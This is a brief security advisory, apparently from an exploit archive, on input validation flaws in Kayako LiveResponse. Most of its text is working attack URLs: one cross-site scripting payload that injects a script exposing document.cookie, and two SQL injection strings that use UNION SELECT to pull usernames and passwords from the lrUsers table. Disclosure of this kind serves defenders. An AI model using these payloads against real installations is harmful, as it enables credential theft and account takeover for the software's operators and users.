Kayako LiveResponse Multiple Input Validation Vulnerabilities

Kayako LiveResponse Multiple Input Validation Vulnerabilities

There is no exploit required. The following examples were submitted:

Cross-site scripting:

http://www.example.com/index.php?username="><script>alert(document.cookie)</script>

SQL injection:

http://www.example.com/index.php?date=22&month=3&year=2005%20UNION%20SELECT%200,0,0,0,0,0,
username,pass%20FROM%20lrUsers%20WHERE%201/*&_g=2&_a=panel&_m=cal

http://www.example.com/index.php?date=22%20UNION%20SELECT%200,0,0,0,0,0,username,pass%20
FROM%20lrUsers%20WHERE%201/*&month=3&year=2005&_g=2&_a=panel&_m=cal